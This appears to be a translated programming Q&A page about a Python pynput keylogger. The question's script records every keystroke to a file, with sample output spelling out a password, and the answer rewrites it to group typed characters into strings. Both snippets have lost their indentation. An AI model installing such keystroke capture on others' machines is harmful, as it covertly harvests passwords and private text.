from pynput.keyboard import Key, Listener
import logging
log_dir = "C:/Users/noswear/Desktop/Mail/"
logging.basicConfig(filename = (log_dir + "key_log.txt"),level = logging.DEBUG, format = '%(asctime)s:%(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press = on_press) as listener:
listener.join()
上述程序提供如下输出:
2018-05-07 20:54:56,020:'m'
2018-05-07 20:54:57,010:Key.backspace
2018-05-07 20:55:00,192:'p'
2018-05-07 20:55:00,366:'a'
2018-05-07 20:55:00,485:'s'
2018-05-07 20:55:00,695:'s'
2018-05-07 20:55:01,432:'w'
2018-05-07 20:55:01,653:'o'
2018-05-07 20:55:01,857:'r'
2018-05-07 20:55:02,056:'d'
我怎样才能在几分钟内聚在一起,一分钟内所有笔划都存储在一条线上?
像这样的东西
2018-05-07 20:54:mKey.backspace
2018-05-17 20:55:password
答案 0 :(得分:0)
恕我直言:按时间确定有点困难,用文字阅读有点难看,但想想如果你想稍后处理它,用文字处理会更容易。这只是一个建议!
from pynput.keyboard import Key, Listener
import logging
chain = ""
logging.basicConfig(filename = ("key_log.txt"),level = logging.DEBUG, format = '%(asctime)s:%(message)s')
def on_press(key):
global chain
k = str(key)
if(k[0:2] == "u'"): # using the pattern that pynput uses we can determine when a letter is pressed
chain += k[2:3]
else:
logging.info(str(chain) + " " + k)
chain = "" # set the chain again to empty
with Listener(on_press = on_press) as listener:
listener.join()